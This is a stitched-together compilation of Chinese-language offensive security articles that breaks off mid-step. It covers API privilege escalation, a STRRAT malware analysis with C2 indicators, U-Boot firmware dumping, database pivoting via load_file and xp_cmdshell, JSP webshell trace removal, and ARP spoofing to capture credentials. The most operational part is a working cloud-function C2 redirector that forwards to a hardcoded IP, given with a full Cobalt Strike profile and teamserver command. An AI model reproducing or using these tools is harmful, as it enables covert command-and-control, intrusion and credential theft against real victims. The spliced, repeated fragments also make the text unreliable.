參數：user和administrator。當人們自己在我們的應用程序中註冊時，他們的帳戶默認分配用戶值。但是，我們的API 允許用戶通過PUT /user 請求更改此值。通過這種方式，攻擊者可以獲得管理員權限。 要利用此漏洞，我們必須使用此請求註冊用戶： 之後，我們將收到包含用戶帳戶詳細信息的響應：It was originally published on https://www.apriorit.com/ 然後，我們需要將user_type 字段更改為admin：It was originally published on API 將響應更新的用戶數據： 這樣，user4 將獲得管理員訪問權限。 It was originally published on https://www.apriorit.com/ 結論緩解OWASP API 安全項目中的安全問題對於確保應用程序的保護至關重要。為了優先考慮測試程序並節省一些時間，您可以專注於查找和修復我們在本文中討論的最普遍的漏洞。

由於運輸和接收貨物是大多數航運企業的日常工作，攻擊者經常將偽造有關的運輸標題作為釣魚電子郵件的誘餌，例如虛假髮票、運輸事宜的更改或與虛擬購買相關的通知，以誘使收件人打開惡意附件和無意中下載惡意軟件。 FortiGuard實驗室最近發現了一封這樣的郵件，該電子郵件隨後被發現包含STRRAT 惡意軟件的變體作為附件。 本文將詳細分析網絡釣魚郵件及其惡意負載。 檢查網絡釣魚郵件STRRAT是一個多功能的遠程訪問木馬，至少可以追溯到2020 年年中。不同尋常的是，它是基於Java 的，通常通過網絡釣魚電子郵件發送給受害者。 2021年5月，微軟的安全情報團隊發現了新型惡意軟件攻擊，通過包含惡意的PDF 附件進行大規模傳播。這些PDF 附件中包含了名為StrRAT，這是一個可遠程訪問的木馬程序，可用於竊取密碼和用戶憑證。除了竊取憑證甚至控制系統之外，微軟研究人員還發現，這種惡意軟件可以將自己偽裝成偽造的勒索軟件。 關於該惡意軟件的推文中，微軟表示： “一旦系統被感染，StrRAT 就會連接C2 服務器。1.5版明顯比以前的版本更加模糊和模塊化，但後門功能大多保持不變：收集瀏覽器密碼，運行遠程命令和PowerShell，記錄鍵盤輸入等”。 與大多數網絡釣魚攻擊一樣，以前的STRAAT 活動使用了附加到電子郵件的中間釋放器（例如惡意Excel 宏），在打開時下載最終有效負載。本示例不使用這種策略，而是將最後的有效載荷直接附加到釣魚電子郵件中。 欺騙性電子郵件發件人和主題 如圖1 所示，這個樣本顯然不是來自馬士基航運公司，攻擊者顯然不希望接收者看得太仔細。通過進一步挖掘電子郵件標題，電子郵件的來源的完整線索變得很明顯： 電子郵件標頭 在離開發件人的本地基礎設施後，消息最終會通過“acalpulps[.]com”，然後傳遞給最終收件人。該域名是在2021 年8 月才註冊的，因此該域名有些可疑。此外，“Reply-To”地址中使用的域“ftqplc[.]in”最近也被註冊（2021 年10 月），因此也非常可疑。 電子郵件正文鼓勵收件人打開有關預定裝運的附件。 電子郵件正文 截至發文，信函正文中包含的域“v[.]al”尚未解析。 電子郵件附件 直接附加到示例電子郵件的是一個PNG 圖像和兩個Zip 文件。 “maersk.png”只是一個圖像文件，如上圖所示。然而，兩個Zip 文件“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]zip”和“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF (2)[.]zip”包含STRRAT 的嵌入副本。 檢查STRRAT 附件“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]zip”和“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF (2)[.]zip”是相同的文件，這從它們各自的SHA256 哈希值可以看出。 “SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]zip”的SHA256 哈希 “SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF (2)[.]zip”的SHA256 哈希 解壓縮這些文件會顯示文件“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]jar”。但是，在Jar Explorer 中打開文件後，一些事情會立即顯現出來。 Jar Explorer 中“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]jar”的初始視圖 首先，大量的Java 類文件是這個包的一部分。其次，“FirstRun”類字符串似乎被打亂或編碼。附加有“ALLATORIxDEMO”的行表示存在Allatori Java 混淆處理程序。 這可以通過嘗試執行jar 文件來驗證。 嘗試執行“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]jar”時顯示的閃屏 使用Allatori確認這一點有助於分析過程，因為有開源工具可以回滾它並揭示jar文件中的實際內容。 Java Deobfuscator對Allatori工作得特別好，並成功地恢復了原始字符串內容，如下所示。 “FirstRun” 類的相同視圖現在已反混淆 與STRRAT 中的類文件獨立編碼的是配置文件（config.txt）。在第一個視圖中，它是base 64 編碼的，如下圖所示。 Base 64 編碼的“config.txt” 不幸的是，當解碼時，文件仍然被加碼處理了。 “解碼”配置文件 通過搜索“config.txt”的代碼，我們可以看到配置文件是使用AES 加密的，並且使用了“strigoi” hXXp://jbfrost[.]live/strigoi/server/?hwid=1lid=mht=5的密碼。現在可以解密配置文件了。 解密的配置文件 上圖中的最後一項特別令人感興趣，因為該示例出現在Log4Shell 事件中。 Khonsari 是利用該特定漏洞的勒索軟件變種的名稱。然而，在這裡，這個詞起到了軟件密鑰的作用，沒有證據表明這兩個惡意軟件之間有任何联系。 大多數惡意軟件都需要在重啟和會話期間保持持久性，這樣它們才能完成已經設置的任務。 STRRAT通過將自身複製到一個新目錄中，然後將條目添加到Windows註冊表中以在系統啟動時運行來實現這一點。 修改註冊表的代碼 修改後的註冊表 STRRAT 在啟動時查詢主機以確定其架構和防病毒功能，它還查詢正在運行的進程、本地存儲和網絡能力。 就功能而言，STRRAT可以記錄擊鍵並維護一個基於html的日誌來存儲感興趣的項目。 創建鍵盤日誌文件的代碼 準備好發送的鍵盤日誌文件 STRRAT還可以通過刪除遠程訪問工具HRDP來促進對受感染系統的遠程控制。 HRDP 其他功能包括從Chrome、Firefox 和Microsoft Edge 等瀏覽器和Outlook、Thunderbird 和Foxmail 等電子郵件客戶端提取密碼。 STRRAT 中最奇怪的模塊之一是它的偽勒索軟件功能。 偽勒索軟件模塊 代碼循環瀏覽用戶主目錄中的文件，並為它們附加一個“.crimson”的文件擴展名。沒有對文件進行加密，這使得它只適合作為誘餌，或者作為對不太精明的用戶的恐嚇策略。在代碼中未找到贖金記錄模板。 在網絡方面，我們看到STRRAT希望在啟動時擴展和拉下幾個Java依賴項。 Java 依賴項 如上圖所示，此示例將IP 地址198[.]27.77.242 用於C2（命令和控制）。檢查Wireshark 中的流量顯示STRRAT 異常嘈雜。這可能是由於C2 通道在調查時處於離線狀態。為了獲得進一步的指令，該示例嘗試以1秒(在某些情況下甚至更多)的時間間隔通過端口1780和1788進行通信。 Wireshark 中嘗試的C2 通信 上圖還顯示了一個包含域“jbfrost[.]live”的URL，這似乎是惡意軟件C2 基礎設施的一部分，但似乎沒有被使用（至少目前沒有），該域當前未解析。

使用Raspi配置raspi-config是一個用戶空間工具，它允許我們配置樹莓派的各個方面，其中之一是啟用各種外部接口。我們將使用raspi-config來啟用UART接口，首先啟動工具，如下所示： sudo raspi-config 這將導致出現以下結果： 接下來，我們將選擇Interface Options，然後是Serial Port，如下圖所示： 選擇這個選項後，我們會遇到兩個問題： 1.你希望通過串行方式訪問登錄shell嗎？ 2.你想啟用串行端口硬件嗎？ 我們現在已經在樹莓派上啟用了UART，接下來，我們需要將它連接到我們的機櫃。我們將機櫃的Tx連接到Pi的Rx，將機櫃的Rx 連接到Pi 的Tx： UART工具使用樹莓派上的UART接口，我們可以嘗試連接到目標設備上的這個Serial Port。為了與這個Serial Port交互，我們將使用屏幕實用程序。當與UART接口時，屏幕要求我們傳遞一個設備和波特率，由於我們知道上一段的波特率，我們將按如下方式運行： sudo screen -L -Logfile cabinet-bootup.log /dev/ttyS0 115200 -L -Logfile cabinet-bootup.log——將會話記錄到cabinet-bootup.log文件； /dev/ttyS0——要使用的串行設備； 115200——波特率； 我們現在可以在配置我們的UART 和啟動屏幕後打開機櫃。當我們打開機櫃電源時，我們看到以下內容： 最終，我們發現自己在一個控制台： 我們現在有一個根控制台，可以探索文件系統，查看目標上正在運行的內容，並了解有關它是如何構建的更多信息。如果可能，我們的下一步將是對分區進行映像；讓我們先看看掛載了哪些分區： 我們的根文件系統是以只讀的形式掛載的，並且使用的是squashfs格式。此外，還掛載了標記為userdata的另一個分區。如果我們檢查可用的block設備，我們會看到以下內容： 我們可以看到，SPI flash設備大概位於/dev/rkflash0。要獲得這個block設備的圖像，我們可以將USB插到機櫃的USB端口並使用dd實用程序。當我們插入一個USB閃存驅動器時，它在/dev/sda 中被枚舉，我們可以用以下命令將SPI閃存的內容映射到USB驅動器： Sudoddif=/dev/rkflash0of=/dev/sdastatus=progress如果我們將USB 驅動器插入Pi 並檢查分區表，我們會看到相應的分區已映射到驅動器。 現在我們有了閃存的備份，這是我們嘗試修改嵌入式系統時應該採取的第一步；在我們嘗試修改任何內容或重新刷新任何分區之前，我們應該確保我們有辦法恢復它們；為此，我們將調查引導加載程序。作為起點，讓我們注意啟動日誌開頭的以下行： 如果我們在為機櫃供電時在屏幕提示中按住Ctrl-c，我們會看到以下內容： 我們現在有一個UBoot 提示符，在深入探討之前，讓我們先談談UBoot 及其工作原理。 UBOOTUBoot是嵌入式系統中常用的開源引導加載程序。它支持各種架構和CPU類型。但是，UBoot 的職責通常是為嵌入式系統加載操作系統內核或主應用程序。 UBoot 還包括在你的逆向工程工作中有用的調試實用程序；最值得注意的是UBoot 命令提示符。 UBoot命令UBoot 控制台可以包含大量的內置實用程序，這些實用程序可以在標準引導過程中（通常通過環境變量）或在UBoot 命令行中使用。可用的命令將根據UBoot映像的構建方式而有所不同。 現在我們已經發現了一個UBoot 控制台，讓我們首先通過運行help 命令查看哪些命令是公開可用的。 在查看每個命令之前，讓我們重新審視一下我們的主要目標，即能夠從引導加載程序讀取和寫入根文件系統分區，以防我們以後需要恢復這個機櫃。下面的命令非常醒目，因為它們涉及內存讀取和寫入： 接下來，我們可以使用printenv 命令查看此引導加載程序配置的環境變量。這將為我們提供更多關於該平台如何啟動、正在使用的內存地址以及其他可用接口的背景信息。 UBoot環境變量在為設備構建或配置UBoot映像時，可以配置各種環境變量。這些環境變量控制啟動時執行的操作。存儲這些變量的方法有很多種。有時它們被硬編碼到二進制中，它們也可以駐留在閃存分區上，允許用戶從UBoot提示符修改它們。 我們可以使用printenv 命令檢查環境變量： 我想在下表中指出一些有趣的變量： 此時，如果我們交叉引用我們在硬件檢查期間收集的信息，我們會看到一致的結果。在我們的硬件檢查之後，我們假設SPI flash是主要的存儲方法，這個假設在UBoot環境變量和可用的命令中得到驗證。 讓我們從檢查rksfc命令開始，通過搜索，這是RockChip的SPI SFC(串行flash控制器)接口工具。該命令包含以下子命令： 可以通過以下命令獲取SPI flash的信息： 使用這些命令，我們可以了解更多關於SPI flash的信息。我們可以看到塊大小為512，該芯片總共包含220672 (0x35E00)塊，被分成5個分區： uboot ——可能包含我們的UBoot 映像/第一階段引導加載程序； trust ——可信執行環境映像； boot ——內核映像/ramdisk； rootfs ——我們最大的分區，內核的根文件系統； user data——用戶特定數據，可能用於高分、用戶設置等； 注意，該數據與我們之前在根控制台提示符中看到的內容相匹配。我們現在了解了閃存是如何分區的以及可能有哪些數據可用，但是我們如何在不向板上焊接額外線路的情況下讀取/寫入這些數據呢？如果我們檢查usb 命令，我們會看到以下內容： 使用機櫃側面的USB 端口，如果我們插入設備並運行USB start 後跟USB info，則會生成以下輸出： 這樣，我們就可以看到USB堆棧成功枚舉並檢測到我們的大容量存儲設備。 在繼續之前，讓我們回顧一下我們對UBoot 環境的了解： 通過檢查環境變量，我們可以在RAM中找到可用的地址； 使用rksfc讀取實用程序，我們可以讀取SPI閃存扇區到RAM； 使用USB命令，我們可以枚舉一個USB設備並寫入它； 我們可以將SPI flash讀入RAM，連接USB設備，然後使用USB寫入命令將SPI flash數據寫入USB設備。如果這種方法有效，我們還應該能夠通過反向步驟恢復閃存圖像，從USB驅動器讀取數據，並使用rksfc write寫入閃存。讓我們從測試讀取開始。 首先，我們將嘗試使用以下命令將整個SPI 閃存讀入RAM 以獲取目標地址，我們將嘗試存儲在$ramdisk_addr_r 中的地址，即0x6a200000： 這不起作用，我們以某種方式觸發了未定義的指令異常。我們可能破壞了UBoot 正在使用的一些東西，讓我們看看當我們嘗試另一個內存較低的地址時會發生什麼： 移動到RAM 中的較低地址允許讀取完成而不會破壞任何內容，讓我們看看我們現在是否可以將這些數據寫回USB 驅動器： 現在我們來看看這個驅動器的內容，把它插入樹莓派，看看我們有什麼： 此時，我們可以看到USB驅動器上的分區表與rksfc part 0命令的輸出相匹配。接下來，我們將使用dd實用程序提取用於分析的各個分區。 到目前為止，該數據與我們在查看正在運行的系統上的掛載輸出和UBoot 菜單中的分區表時看到的數據相匹配。因此，我們可以通過unsquashfs 提取squashfs 分區並嘗試掛載ext2 分區以確認它們是有效的： 看起來我們有一個有效的根文件系統，現在我們可以開始逆向工程軟件了，並了解更多關於我們如何修改這個系統來玩更多遊戲或運行自定義固件的信息。 現在我們已經確認可以讀取flash，讓我們測試一下，看看我們是否可以使用上面描述的方法將這張圖片寫回flash： 現在我們重新啟動，希望我們重新刷新的圖像仍然有效。 成功！我們現在可以使用我們的USB 驅動器從UBoot 讀取/寫入SPI 閃存；這對於測試補丁和固件修改很有用！ 現在我們可以用UBoot 讀/寫這個機櫃的flash，如果我們可以自動擦除flash 的各個分區和段，而不需要每次手動輸入範圍，那就太好了。為此，我們將使用Depthcharge 實用程序來自動化我們的UBoot 交互！ 使用DEPTHCHARGE 編寫UBOOT在使用UBoot環境時，我們經常需要自動化交互。例如，在我們的示例中，我們可能希望自動重寫特定的閃存分區，而不必每次都手動輸入地址偏移量。對我們來說幸運的是，NCC集團的人已經組裝了一個工具來幫助我們，這個工具叫做深度充電。我們可以使用這個自動化的過程，從我們的閃存芯片和外部USB驅動器讀取數據。我們的腳本將需要執行以下操作： 連接到UART並識別UBoot提示符； 通過rksfc讀寫命令對SPI flash進行讀寫操作； 通過USB讀寫命令對USB驅動器進行讀寫； 首先，我們需要安裝模塊，可以通過執行命令sudo pip install depthcharge.o在Pi上安裝depthcharge。 連接到UART並識別UBoot提示符 我們可以使用以下python代碼連接到UBoot提示符： 在上面的函數中，我們創建了一個Console對象，它要求我們提供一個到Serial Port和波特率的路徑。然後這個控制台對像被用來製作Depthcharge上下文，我們將使用它來訪問Depthcharge所提供的功能。 depthcharge文檔中有一個很好的例子，詳細描述了安裝過程。 Flash 通過depthcharge 讀寫現在我們已經連接到接口，我們需要實現rksfc讀寫命令。我們可以使用depthcharge的send_command() API來做到這一點。這個API調用允許我們生成UBoot命令並將其發送到命令提示符並返迴響應。在下面的例子中，我們在cmd_str變量中構造了read命令，並確保參數被正確格式化，然後使用send_command() API發出命令。 現在我們已經實現了對閃存的讀寫，接下來我們需要枚舉USB堆棧，然後從閃存驅動器中讀寫。 USB 通過depthcharge 讀寫與我們實現rksfc 命令的方式類似，接下來我們將實現usb 命令。該過程將類似於用於rksfc 命令的過程： 使用Depthcharge 轉儲閃存現在我們已經定義了適當的函數，我們可以嘗試以下操作： 如果我們運行這個腳本，就會看到如下輸出： 當我們將u盤插入Pi時，就會會看到以下分區： 成功！我們已經使用Depthcharge 將SPI 閃存提取到USB 設備！ 文件系統內容現在我們有了一種可靠的讀取和寫入flash的方法，讓我們簡要地檢查一下內容。有趣的文件位於/moo文件夾中。此文件夾包含仿真器及其相關資源。 Moo是一個使用自定義ROM格式的自定義模擬器，2020年，一些研究人員在模擬器的另一個版本上進行了測試。然而，如果我們查看目錄內容，會發現一些有趣的現象： 在這個系統上肯定不可能有PE32 Windows 可執行文件，如果我們將此文件複製到Windows 機器上並嘗試執行它： 它運行了！顯然，這是一個構建工件，開發者沒有意識到它存在於系統中。 使用本文介紹的方法，我們現在可以使用UBoot 將SPI 閃存讀寫到USB 驅動器。我們已經提取了根文件系統並確定了核心模擬組件。我們的下一個目標將是對該目標上的一些二進製文件進行逆向工程，以確定運行自定義固件的困難程度。 總結我們在本文中介紹瞭如何使用我們的萬用表/邏輯分析儀執行嵌入式設備的初始拆卸和識別潛在的調試頭。然後進一步詳細介紹瞭如何分析未知的UART 流量並使用帶有Raspberry Pi 的屏幕連接到Serial Port。連接到Serial Port後，我們發現可以通過按Ctrl-C來訪問UBoot控制台。在查看了UBoot 控制台之後，我們編寫了一個depthcharge 腳本來將每個SPI 閃存分區提取到一個外部閃存驅動器中。所有使用的腳本和工具都可以在github上找到。

前言看到了某篇关于站库分离类型站点相关的讨论，想总结下信息收集的技巧。 正文关于站库分离类型站点网上暂时没有找到总结性的文章，所以想尝试记录下关于站库分离类型站点的渗透思路。 对站库分离类型站点通常可以有两个渗透入口点: 1.web 网站 2.数据库渗透思路其实也是比较常规。但是这里如果两个入口点无非两种路径。 从 web 网站打入进而打站库分离的数据库，内网渗透从数据库打入进而打站库分离的 web 网站，内网渗透根据不同的路径定制不同的渗透测试方案，下面记录一下流程和容易遇到的问题。 一、从 web 入口渗透 从 web 入口通常就是通过网站的各种漏洞来 getshell，比如文件上传、命令执行、代码执行、还有 SQL 注入写入一句话（into outfile、日志备份等）。 在获得 web 权限或者有诸如文件读取等漏洞时，我们还读数据库配置文件、对数据库内容分析、查找数据库备份，进而对数据库目标 ip 进行渗透，以便后续操作。 二、从数据库入口渗透 但是这里要说主要是外网暴露的数据库入口点弱口令；web 网站 SQL 注入。 从数据库入口渗透，同样主要是为了获取更大的权限，或者扩展我们的渗透成果，比如从数据库里可以得到一些密码信息，用户名等，在后续的内网渗透中可以很有效的帮助我们。 站点是站库分离的，数据库和 web 不在同一台服务器上，这时候不能写入一句话木马通过 web 去连，因为路径没有用。如果是从 web 端找到的 SQL 注入，那么可以通过以下这些方式去做信息收集、获取权限。 1.MYSQL（1）定位 web 端 ip 地址 通过查询 information_schema 库中的 PROCESSLIST 可以查看当前 MYSQL 的连接情况。因为 web 应用会产生查询数据库操作，所以在回显出来的 host 字段中会带回目标的 ip:port。 select * from information_schema.PROCESSLIST; 在得到了 web 端的 ip 我们可以进而对 web 端进行渗透。 （2）load_file () 获取数据库所在服务器的敏感信息如果没有 secure_file_priv 参数的限制（MySQL5.7 以下）我们还可以用 load_file() 函数对文件内容进行读取。 select load_file('C:/test.txt');# 左斜杠 / 还可以获取网卡信息，比如读： /etc/udev/rules.d/70-persistent-net.rules获取网卡名称。 /etc/sysconfig/network-scripts/ifcfg-网卡静态IPDHCP的话/var/lib/dhclient/dhclient--网卡.lease2.MSSQL（1） 判断是否站库分离得到客户端主机名 select host_name(); 得到服务端主机名 select @@servername; 根据结果判断是否分离，结果一样就可能站库同服务器，结果不一样就是站库分离。 （2）存储过程执行命令我们可以通过 MSSQL 的存储过程执行系统命令，可以尝试直接提升权限后渗透其他主机， 常用到的两个： XP_CMDSHELLSP_OACREATE可以探测数据库服务器是否出网，通过执行 ping 或者 curl 看是否出网，通常遇到 MSSQL 我们直接就通过命令执行上线了。 同样是数据库，自然其中有一些敏感信息，为了进一步渗透，可以整理密码本或者其他信息。

首先，我们需要登录腾讯云，开启云函数。 登录腾讯云后，搜索云函数。开通即可。 初次登录，需要授权。 登录控制台后，点击新建。 函数名称随意，选择从头开始，环境填Python3.6，选完后下拉，把代码搞里头。 复制下面代码，并修改服务器地址。 # coding: utf8 import json,requests,base64 def main_handler(event, context): response = {} path = None headers = None try: C2='http://43.134.164.72:80' if 'path' in event.keys(): path=event['path'] if 'headers' in event.keys(): headers=event['headers'] if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' : resp=requests.get(C2+path,headers=headers,verify=False) else: resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False) print(resp.headers) print(resp.content) response={ "isBase64Encoded": True, "statusCode": resp.status_code, "headers": dict(resp.headers), "body": str(base64.b64encode(resp.content))[2:-1] } except Exception as e: print('error') print(e) finally: return response 完成后，点击保存！ 接着点击触发管理，创建触发器 格式如下 点击api名称编辑后到达此页面，路径修改为/ 完成 后点击 发布服务 新增C2的profile文件，命名为win_tecent_cloud_func.profile set sample_name "t"; set sleeptime "3000"; set jitter "0"; set maxdns "255"; set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"; http-get { set uri "/api/x"; client { header "Accept" "*/*"; metadata { base64; prepend "SESSIONID="; header "Cookie"; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Server" "Nodejs"; output { base64; print; } } } http-stager { set uri_x86 "/vue.min.js"; set uri_x64 "/bootstrap-2.min.js"; } http-post { set uri "/api/y"; client { header "Accept" "*/*"; id { base64; prepend "JSESSION="; header "Cookie"; } output { base64; print; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Connection" "keep-alive"; output { base64; print; } } } 保存完成后，存放在cs目录下。 启动cs服务端 ./teamserver vpsip admin12345 win_tecent_cloud_func.profile 将云函数的公网接口地址域名填入listener的http hosts和stager的hosts 注意不要http 和80 添加监听 生成shell后成功上线。 原文连接： https://blog.bbskali.cn/3771.html

0x00 前言我們知道，當我們訪問jsp文件時，Java環境會先將jsp文件轉換成.class字節碼文件，再由Java虛擬機進行加載，這導致了Java服務器上會生成對應名稱的.class字節碼文件。對於webshell，這會留下痕跡。 為了實現自刪除.class字節碼文件，我們可以通過反射獲得.class字節碼文件的路徑，再進行刪除。本文將以Zimbra環境為例，結合AntSword-JSP-Template，分析利用思路。 0x01 簡介本文將要介紹以下內容： ◼通過反射實現webshell編譯文件的自刪除 ◼通過反射實現AntSword-JSP-Template 0x02 通過反射實現webshell編譯文件的自刪除根據上篇文章《Java利用技巧——通过反射修改属性》 的內容，我們按照映射request-_scope-_servlet-rctxt-jsps，通過多次反射最終能夠獲得JspServletWrapper實例 查看JspServletWrapper類中的成員，jsps-value-ctxt-servletJavaFileName保存.java編譯文件的路徑，jsps-value-ctxt-classFileName保存.class編譯文件的路徑，示例如下圖 為了只篩選出當前jsp，可以通過request類的getServletPath()方法獲得當前Servlet，如下圖 從ctxt對象獲取servletJavaFileName可以調用JspCompilationContext類的getServletJavaFileName()方法，如下圖 從ctxt對象獲取classFileName可以調用JspCompilationContext類的getClassFileName()方法，如下圖 綜上，由此我們可以得出通過反射獲取編譯文件路徑的實現代碼如下： 刪除編譯文件的代碼如下： 0x03 通過反射實現AntSword-JSP-Templaterebeyond在《利用动态二进制加密实现新型一句话木马之Java篇》 介紹了Java一句話木馬的實現方法，AntSword-JSP-Template也採用了相同的方式 我在測試AntSword-JSP-Template的過程中，發現編譯文件會多出一個，例如test.jsp，訪問後，生成的編譯文件為test_jsp.class和test_jsp.java，如果使用了AntSword-JSP-Template，會額外生成編譯文件test_jsp$U.class rebeyond在《利用动态二进制加密实现新型一句话木马之Java篇》 提到： “正常情況下，Java並沒有提供直接解析class字節數組的接口。不過classloader內部實現了一個protected的defineClass方法，可以將byte[]直接轉換為Class 因為該方法是protected的，我們沒辦法在外部直接調用，當然我們可以通過反射來修改保護屬性，不過我們選擇一個更方便的方法，直接自定義一個類繼承classloader，然後在子類中調用父類的defineClass方法。 ” 這裡我打算通過反射修改保護屬性，調用ClassLoader類的defineClass()方法 在ClassLoader類中，defineClass()方法有多個重載，如下圖 這裡選擇defineClass(byte[] b, int off, int len) rebeyond在《利用动态二进制加密实现新型一句话木马之Java篇》 還提到： “如果想要順利的在equals中調用Request、Response、Seesion這幾個對象，還需要考慮一個問題，那就是ClassLoader的問題。JVM是通過ClassLoader+類路徑來標識一個類的唯一性的。我們通過調用自定義ClassLoader來defineClass出來的類與Request、Response、Seesion這些類的ClassLoader不是同一個，所以在equals中訪問這些類會出現java.lang.ClassNotFoundException異常” 解決方法同樣是複寫ClassLoader的如下構造函數，傳遞一個指定的ClassLoader實例進去： 最終，得到通過反射實現AntSword-JSP-Template的核心代碼： 訪問通過反射實現AntSword-JSP-Template的test.jsp後，額外生成的編譯文件為test_jsp$1.class 0x04 小結本文介紹了通過反射實現webshell編譯文件自刪除和AntSword-JSP-Template，記錄關於反射的學習心得。

ARP攻击协议简介ARP全称为Address Resolution Protocol，即地址解析协议，它是一个根据IP地址获取物理地址的TCP/IP协议，主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机，并接收返回消息，以此确定目标的物理地址，收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间，下次请求时直接查询ARP缓存以节约资源。 ARP地址解析协议是建立在网络中各个主机互相信任的基础上的，网络上的主机可以自主发送ARP应答消息，其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存，故而攻击者可以向某一主机发送伪ARP应答报文，使其发送的信息无法到达预期的主机或到达错误的主机，这就构成了一个ARP欺骗。 工作原理环境假设主机A： IP地址：192.168.1.1MAC地址：0A-11-22-33-44-01主机B： IP地址：192.168.1.2MAC地址：0A-11-22-33-44-02工作流程第1步：根据主机A上的路由表内容，确定用于访问主机B的转发IP地址是192.168.1.2，然后A主机在自己的本地ARP缓存中检查主机B的匹配MAC地址第2步：如果主机A在ARP缓存中没有找到映射，它将询问192.168.1.2的硬件地址，从而将ARP请求帧广 播到本地网络上的所有主机，源主机A的IP地址和MAC地址都包括在ARP请求中，本地网络上的每台主机都接收到ARP请求并且检查是否与自己的IP地址匹配，如果主机发现请求的IP地址与自己的IP地址不匹配，它将丢弃ARP请求第3步：主机B确定ARP请求中的IP地址与自己的IP地址匹配，则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中第4步：主机B将包含其MAC地址的ARP回复消息直接发送回主机A第5步：当主机A收到从主机B发来的ARP回复消息时，会用主机B的IP和MAC地址映射更新ARP缓存，本机缓存是有生存期的，生存期结束后，将再次重复上面的过程，主机B的MAC地址一旦确定，主机A就能向主机B发送IP通信了缓存机制ARP缓存是一个用来储存IP地址和MAC地址的缓冲区，其本质就是一个IP地址->MAC地址的对应表，表中每一个条目分别记录了网络上其他主机的IP地址和对应的MAC地址，每一个以太网或令牌环网络适配器都有自己单独的表，当地址解析协议被询问一个已知IP地址节点的MAC地址时，先在ARP缓存中查看，若存在，就直接返回与之对应的MAC地址，若不存在，才发送ARP请求向局域网查询，为了使广播量最小，ARP维护IP地址到MAC地址映射的缓存以便将来使用 ARP缓存可以包含动态和静态项目，动态项目随时间推移自动添加和删除，每个动态ARP缓存项的潜在生命周期是10分钟，新加到缓存中的项目带有时间戳，如果某个项目添加后2分钟内没有再使用，则此项目过期并从ARP缓存中删除，如果某个项目已在使用，则又收到2分钟的生命周期，如果某个项目始终在使用，则会另外收到2分钟的生命周期，一直到10分钟的最长生命周期，静态项目一直保留在缓存中，直到重新启动计算机为止 ARP欺骗ARP地址解析协议是建立在网络中各个主机互相信任的基础上的，它的诞生使得网络能够更加高效的运行，但其本身也存在缺陷，ARP地址转换表依赖于计算机中高速缓冲存储器动态更新的，而高速缓冲存储器的更新是受到更新周期的限制的，只保存最近使用的地址的映射关系表项，这使得攻击者有了可乘之机，可以在高速缓冲存储器更新表项之前修改地址转换表，实现攻击。 ARP请求为广播形式发送的，网络上的主机可以自主发送ARP应答消息，并且当其他主机收到应答报文时不会检测该报文的真实性就将其记录在本地的MAC地址转换表，这样攻击者就可以向目标主机发送伪ARP应答报文，从而篡改本地的MAC地址表，ARP欺骗可以导致目标计算机与网关通信失败，更会导致通信重定向，所有的数据都会通过攻击者的机器，攻击者再对目标和网关之间的数据进行转发，则可作为一个"中间人"，实现监听目标却又不影响目标正常上网的目的。 欺骗实践基本环境攻击主机：192.168.174.129 00:0c:29:39:be:eb普通主机：192.168.174.170 00:0c:29:08:ad:eb网关地址：192.168.174.2断网攻击Step 1：在攻击主机上关闭端口转发 #终止 echo 0 > /proc/sys/net/ipv4/ip_forward #允许 echo 1 > /proc/sys/net/ipv4/ip_forward Step 2：在普通主机上查看当前ARP解析列表 Step 3：在普通主机上向百度进行ping试 ping www.baidu.com -t 可以正常访问百度： Step 4：之后在攻击主机上通过aprspoof进行断网攻击 Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host # 参数解释： -i 指定使用的接口 -c 指定当还原arp配置时t使用的MAC地址，默认为使用原来的MAC（即当停止arpspoof命令后，默认取消毒化) -t 指定要毒化的主机，如果不指定的话默认为局域网下所有主机 -r 双向毒化（host和target），从而双向扑捉数据（仅当同时指定 -t的时候才有效） #执行示例： arpspoof -i eth0 -t 192.168.174.170 192.168.174.2 Step 5：之后可以看到ping请求超时，同时浏览器无法打开www.baidu.com，同时查看ARP解析表会发现网关的MAC地址被成功欺骗后设置成了攻击者的MAC地址 Step 6：之后中断攻击(由于我们之前没有指定-c参数所以会还原原先的MAC地址) 可以看到ping恢复正常，同时页面和ARP表也恢复正常 图片数据Step 1：开启端口转发，允许本机像路由器一样转发数据信息 echo 1 > /proc/sys/net/ipv4/ip_forward Step 2：在普通主机上查看当前ARP解析列表 Step 3：在普通主机上访问Web页面 Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host # 参数解释： -i 指定使用的接口 -c 指定当还原arp配置时t使用的MAC地址，默认为使用原来的MAC（即当停止arpspoof命令后，默认取消毒化) -t 指定要毒化的主机，如果不指定的话默认为局域网下所有主机 -r 双向毒化（host和target），从而双向扑捉数据（仅当同时指定 -t的时候才有效） #执行示例： arpspoof -i eth0 -t 192.168.174.170 192.168.174.2 Step 5：之后driftnet 获取受害者用户访问网站时残留的图片数据信息 登录凭证Step 1：这里我们接着上面图片数据的部分展开，我们在攻击主机上使用ettercap捕获通信数据 ettercap -Tq -i eth0 Step 2：模拟一个第三方FTP服务 Step 3：用户访问第三方FTP服务并进行认证 Step 4：攻击者成功捕获到用户的账户密码信息 欺骗扩展这里我们补充几个在Windows下常用的ARP欺骗手法以及ARP欺骗工具的使用~ NetFuke测试环境目标主机：192.168.174.170(Win 7)攻击主机：192.168.174.169(Windows Server 2003)网关地址：192.168.174.2欺骗流程Step 1：在攻击主机上运行NetFuke软件并进行嗅探配置(此处的网卡必须要识别出来IP地址，否则无法进行ARP欺骗) Step 